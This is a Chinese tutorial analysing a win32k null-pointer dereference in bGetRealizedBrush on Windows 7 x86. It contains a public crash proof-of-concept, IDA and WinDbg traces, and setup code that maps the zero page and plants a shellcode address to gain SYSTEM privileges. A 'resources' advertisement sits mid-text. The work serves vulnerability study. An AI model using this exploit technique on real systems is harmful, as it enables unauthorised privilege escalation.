一.前言
1.漏洞信息
该漏洞是在win32k中的bGetRealizedBrush产生的,是一个内核空指针解引用的漏洞,利用该漏洞可以完成提权操作。由于有公开的POC,所以对这个漏洞的分析和利用就变得简单,POC代码如下:
/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1)
{
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int main()
{
Trigger_BSoDPoc();
return 0;
}
2.实验环境
- 操作系统:Win7 x86 sp1
- 编译器:Visual Studio 2017
- 调试器:IDA,WinDbg
【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
二.漏洞分析
编译运行POC,根据信息可以得知,崩溃发生在win32k!bGetRealizedBrush偏移0x38的地址。崩溃的原因是此时的eax为0,函数要对[eax + 0x24]这个地址中的数据进行验证的时候,会因为[0x24]不是个合法地址而产生崩溃。
kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
96980560 f6402401 test byte ptr [eax+24h],1
1: kd> r eax
eax=00000000
1: kd> k
ChildEBP RetAddr
9c3339a0 969834af win32k!bGetRealizedBrush+0x38
9c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f
9c333a1c 96a7b6e8 win32k!EngBitBlt+0x337
9c333a54 96a7bb9d win32k!EngPaint+0x51
9c333c20 83e781ea win32k!NtGdiFillRgn+0x339
9c333c20 77c270b4 nt!KiFastCallEntry+0x12a
0012feac 77dd066b ntdll!KiFastSystemCallRet
0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc
0012fed0 0042ba63 gdi32!FillRgn+0xb2
根据偏移,可以在IDA中找到相应的代码,根据IDA的解析,可以知道,此时是因为EBRUSHOBJ偏移0x34中的数据为0导致了崩溃
.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j
.text:BF840543 push ebx
.text:BF840544 mov ebx, [ebp+arg_4] ; 将第二个参数赋给ebx,此时ebx指向EBRUSHOBJ结构体
.text:BF840547 push esi
.text:BF840548 xor esi, esi
.text:BF84054A mov [ebp+var_24], eax
.text:BF84054D mov eax, [ebx+34h] ; 将ebx偏移0x34中保存的数据赋给eax
.text:BF840550 mov [ebp+arg_0], esi
.text:BF840553 mov [ebp+var_2C], esi
.text:BF840556 mov [ebp+var_28], 0
.text:BF84055A mov eax, [eax+1Ch]
.text:BF84055D mov [ebp+arg_4], eax
.text:BF840560 test byte ptr [eax+24h], 1 ; 崩溃产生的地点
.text:BF840564 mov [ebp+var_1C], esi
.text:BF840567 mov [ebp+var_10], esi
.text:BF84056A jz short loc_BF84057A
三.漏洞利用
产生崩溃的原因是因为此时0地址并不是合法的地址,因此,只需要在0地址中申请一块内存,让0地址合法就可以防止崩溃,让程序继续运行。同时,该函数中存在函数调用,通过更改相关数据可以执行ShellCode。
在bGetRealizedBrush函数中,一共有三个地方执行了函数调用。其中的两个位置内容如下,都是通过第三个参数进行函数调用。由于无法控制第三个参数,所以这两个位置并不可以被利用。
.text:BF840763 loc_BF840763:
.text:BF840763 or eax, 80000000h
.text:BF840768 push eax
.text:BF840769 push esi
.text:BF84076A push esi
.text:BF84076B push esi
.text:BF84076C push ecx
.text:BF84076D push ebx
.text:BF84076E call [ebp+arg_8]
.text:BF840771 test eax, eax
.text:BF840773 jz short loc_BF84077D
。。。
.text:BF840C27 loc_BF840C27:
.text:BF840C27 push [ebp+var_24]
.text:BF840C2A push esi
.text:BF840C2B push [ebp+var_1C]
.text:BF840C2E push ecx
.text:BF840C2F push eax
.text:BF840C30 push ebx
.text:BF840C31 call [ebp+arg_8]
另一个位置是可以利用的,因为ebx在上面赋值为第二个参数,也就是EBRUSHOBJ结构体以后就没有发生改把。所以,此时的eax就是EBRUSHOBJ偏移0x34的数据,也就是0。所以,只要将0x748地址中的内容赋值为ShellCode的地址,就会在下面因为执行call edi而成功执行ShellCode完成提权。
.text:BF8407E4 mov eax, [ebx+34h] ; eax=EBRUSHOBJ偏移0x34的数据
.text:BF8407E7 xor ecx, ecx
.text:BF8407E9 cmp dword ptr [eax+3Ch], 1
.text:BF8407ED mov eax, [ebp+arg_4]
.text:BF8407F0 mov edi, [eax+748h] ; edi = [eax+0x748] = [0x748]
.text:BF8407F6 setz cl
.text:BF8407F9 inc ecx
.text:BF8407FA mov [ebp+var_14], ecx
.text:BF8407FD cmp edi, esi
.text:BF8407FF jz short loc_BF840823
.text:BF840801 test dword ptr [eax+24h], 8000h
.text:BF840808 jnz short loc_BF840810
.text:BF84080A mov eax, [eax+464h]
.text:BF840810
.text:BF840810 loc_BF840810: ;
.text:BF840810 mov ecx, [ebp+var_2C]
.text:BF840813 mov ecx, [ecx+2Ch]
.text:BF840816 mov edx, [ebx+0Ch]
.text:BF840819 push ecx
.text:BF84081A push edx
.text:BF84081B push [ebp+var_14]
.text:BF84081E push eax
.text:BF84081F call edi ; 调用函数
.text:BF840821 jmp short loc_BF840837
要达到此处的函数调用,需要绕过如下的两处验证。此时的eax和esi都是0,所以这两处就是在验证[0x590]和[0x592]是否为0。
.text:BF840799 loc_BF840799:
.text:BF840799 movzx edx, word ptr [eax+590h]
.text:BF8407A0 cmp dx, si
.text:BF8407A3 jz loc_BF8406F7 ; [0x590]是否为0
.text:BF8407A9 add eax, 592h
.text:BF8407AE cmp [eax], si
.text:BF8407B1 jz loc_BF8406F7 ; [0x592]是否为0
如果跳转到loc_BF8406F是无法达到函数调用的地方完成提权,所以这两个地方都不能是0。因此,在0地址申请内存以后,除了在0x748赋值ShellCode地址以外,还需要将0x590和0x592赋值为非0值。
BOOL Init_2016_0095()
{
BOOL bRet = TRUE;
if (!AllocateZeroMemory())
{
bRet = FALSE;
goto exit;
}
*(PWORD)0x590 = 0x1;
*(PWORD)0x592 = 0x1;
*(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059;
exit:
return bRet;
}
在崩溃点下断点以后,运行exp。此时,因为0地址有效,所以此时不会发生崩溃,程序可以继续向下运行。
3: kd> ba e1 win32k!bGetRealizedBrush+0x38
3: kd> g
Breakpoint 0 hit
win32k!bGetRealizedBrush+0x38:
96de0560 f6402401 test byte ptr [eax+24h],1
0: kd> p
win32k!bGetRealizedBrush+0x3c:
96de0564 8975e4 mov dword ptr [ebp-1Ch],esi
0: kd> r eax
eax=00000000
继续向下运行到第一处验证,此时si为0,而由于0x590被写入了1,所以dx不为0,不会发生跳转。
1: kd> p
win32k!bGetRealizedBrush+0x271:
96de0799 0fb79090050000 movzx edx,word ptr [eax+590h]
1: kd> p
win32k!bGetRealizedBrush+0x278:
96de07a0 663bd6 cmp dx,si
1: kd> p
win32k!bGetRealizedBrush+0x27b:
96de07a3 0f844effffff je win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r dx
dx=1
1: kd> r si
si=0
1: kd> r eax
eax=00000000
继续运行到第二处验证,此时同理,不会发生跳转。
1: kd> p
win32k!bGetRealizedBrush+0x281:
96de07a9 0592050000 add eax,592h
1: kd> p
win32k!bGetRealizedBrush+0x286:
96de07ae 663930 cmp word ptr [eax],si
1: kd> p
win32k!bGetRealizedBrush+0x289:
96de07b1 0f8440ffffff je win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r si
si=0
1: kd> r eax
eax=00000592
1: kd> db 00000592
00000592 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000005a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
继续运行,到将0x748地址中的内容赋值给edi,此时的edi就会是ShellCode的地址。
1: kd> p
win32k!bGetRealizedBrush+0x2c8:
96de07f0 8bb848070000 mov edi,dword ptr [eax+748h]
1: kd> p
win32k!bGetRealizedBrush+0x2ce:
96de07f6 0f94c1 sete cl
1: kd> r edi
edi=00401050
当运行到函数调用处,edi保存的依然是ShellCode的地址
1: kd> p
win32k!bGetRealizedBrush+0x2f1:
96de0819 51 push ecx
1: kd> p
win32k!bGetRealizedBrush+0x2f2:
96de081a 52 push edx
1: kd> p
win32k!bGetRealizedBrush+0x2f3:
96de081b ff75ec push dword ptr [ebp-14h]
1: kd> p
win32k!bGetRealizedBrush+0x2f6:
96de081e 50 push eax
1: kd> p
win32k!bGetRealizedBrush+0x2f7:
96de081f ffd7 call edi
1: kd> r edi
edi=00401050
继续执行,就会执行ShellCode的代码完成提权
最终,程序会成功提权,如下图所示: